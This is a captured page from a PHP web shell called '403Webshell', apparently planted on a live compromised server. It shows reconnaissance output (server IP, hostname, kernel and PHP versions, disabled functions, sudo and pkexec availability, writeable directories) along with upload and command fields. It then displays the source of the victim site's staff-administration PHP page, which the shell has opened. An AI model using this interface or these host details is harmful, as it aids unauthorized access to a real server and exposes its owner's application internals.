403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesupportdemo.onesolution.hk/user_bk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesupportdemo.onesolution.hk/user_bk//index.php
<?php
require_once(__DIR__ . '/../checkuser.php');
function index() {
	global $dbh;
	
	// Check permission
	if (!Util::isAdmin()) {
		redirectAndExit(Util::link(__DIR__ . '/../main.php'));
	}

	$get_keys = array('id', 'actived');
	$get = array();
	foreach ($get_keys as $get_key) {
		$$get_key = isset($_GET[$get_key]) ? $_GET[$get_key] : null;
		$get[$get_key] = &$$get_key;
	}

	// Default search
	if (!isset($_GET['status']) && empty($status)) {
		$status = 1; // Open
	}

	// Show all
	if ($_GET['show_all'] == 1) {
		foreach ($get_keys as $get_key) {
			$$get_key = null;
		}
	}
	
	$sql = "
SELECT *
FROM sys_login
WHERE deleted = ?
	AND (COALESCE(LENGTH(?), 0) = 0 OR id = ?)
	AND (COALESCE(LENGTH(?), 0) = 0 OR actived = ?)
";
	$parameters = array(
		0,
		$id, $id,
		$actived, $actived,
	);
	$pagination = new MySqlPagination($sql, $parameters);
	$sql .= $pagination->getSqlLimitAndOffset();
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute($parameters)) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$staffs = $sth->fetchAll();
	
	$sql = "SELECT * FROM sys_login WHERE deleted = ? ORDER BY username";
	$parameters = array(0);
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute($parameters)) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$all_staffs = $sth->fetchAll();
	
	return array_merge($get, array(
		'staffs' => $staffs,
		'roleOptions' => Staff::roleOptions(),
		'pagination' => $pagination->toString(),
		'all_staffs' => $all_staffs,
	));
}
extract(index());
?><!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	
	<?php require(__DIR__ . '/../inc/_head_meta.php'); ?>
	
	<?php require(__DIR__ . '/../inc/_head_css.php'); ?>
	
	<style type="text/css">
		body {
			padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
			padding-bottom: 40px;
		}
	</style>
	
	<?php require(__DIR__ . '/../inc/_head_script.php'); ?>
	
</head>
<body>
	
	<?php require(__DIR__ . '/../inc/_navbar.php'); ?>
	
	<div class="container">
		
		<?php if (isset($message) && !empty($message)): ?>
		<div class="alert alert-info">
			<button type="button" class="close" data-dismiss="alert">&times;</button>
			<h5 class="alert-heading">Note:</h5>
			<p><?=$message?></p>
		</div>
		<?php endif; ?>

		<?php if (Util::isAdmin()): // admin ?>
		<a href="addform.php" class="btn btn-primary pull-right">Add</a>
		<?php endif; ?>
		<h2>Staffs</h2>

		<div class="container-fluid">
			<div class="row-fluid">
				<div class="span12">
					<div class="hero-unit">
						<a href="#" id="search_btn" class="btn btn-link"><h4><i class="icon-list-alt"></i> Search Form</h4></a>
						<script type="text/javascript">
							$(function() {
								$('#search_btn').click(function(event) {
									event.preventDefault();
									$('#search_form').toggle();
								});
								$('.date-picker').datetimepicker({ pickTime: false });
								$('.time-picker').datetimepicker({ pickDate: false, pickSeconds: false });
								$('.select2').select2();
								//$('#search_form').hide().validate();
								$('#search_form').show().validate();
							});
						</script>
						<form id="search_form" class="form-horizontal" method="get">
							<div class="control-group">
								<?php $attribute = 'id'; $label = 'Staff'; ?>
								<label class="control-label" for="<?=$attribute?>"><?=$label?></label>
								<div class="controls">
									<select id="<?=$attribute?>" name="<?=$attribute?>" placeholder="Select a <?=$label?>" class="select2">
										<option value=""></option>
										<?php foreach ($all_staffs as $staff): ?>
										<option value="<?=h($staff['id'])?>"<?=$staff['id'] == $$attribute ? ' selected="selected"' : ''?>><?=$staff['actived'] == 1 ? '' : '[Disabled] '?><?=h($staff['username'])?></option>
										<?php endforeach; ?>
									</select>
								</div>
							</div>
							<div class="control-group">
								<?php $attribute = 'actived'; $label = 'Status'; ?>
								<label class="control-label"><?=$label?></label>
								<div class="controls">
									<select id="<?=$attribute?>" name="<?=$attribute?>" placeholder="Select a <?=$label?>">
										<option value=""></option>
										<option value="1"<?=$$attribute == 1 ? ' selected="selected"' : ''?>>Enable</option>
										<option value="0"<?=$$attribute === '0' ? ' selected="selected"' : ''?>>Disable</option>
									</select>
								</div>
							</div>
							<div class="control-group">
								<div class="controls">
									<button type="submit" class="btn btn-primary"><i class="icon-search icon-white"></i> Search</button>
									<a href="index.php?show_all=1" class="btn">Show All</a>
								</div>
							</div>
						</form>
					</div>
				</div><!--/span-->
			</div><!--/row-->
		</div>
		
		<?=$pagination?>

		<table class="table table-striped">
			<caption class="text-left hide"><h2>Staffs</h2></caption>
			<thead>
				<tr>
					<th>&nbsp;</th>
					<th>User Name</th>
					<th>Role</th>
					<th>Status</th>
				</tr>
			</thead>
			<tbody>
				<?php foreach ($staffs as $staff): ?>
				<tr>
					<td><a href="modifyform.php?id=<?=$staff['id']?>" class="btn"><i class="icon-pencil"></i></a></td>
					<td><?=h($staff['username'])?></td>
					<td><?=h($roleOptions[$staff['role']])?></td>
					<td>
						<a href="javascript:void(0)">
							<i class="<?=$staff['actived'] == 1 ? 'icon-ok' : 'icon-remove'?>"></i>
							<?=$staff['actived'] == 1 ? 'Enable' : 'Disable'?>
						</a>
					</td>
				</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		
		<?=$pagination?>
		
		<div class="scroll_to_top">
			<a href="#" class="btn btn-link btn-mini scroll-to-top">Scroll to Top</a>
		</div>
		
		<script type="text/javascript">
		$(function() {
			$('.scroll-to-top').click(function(event) {
				event.preventDefault();
				scrollToTop();
			});
		});
		</script>
	
		<?php require(__DIR__ . '/../inc/_footer.php'); ?>

	</div> <!-- /container -->
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit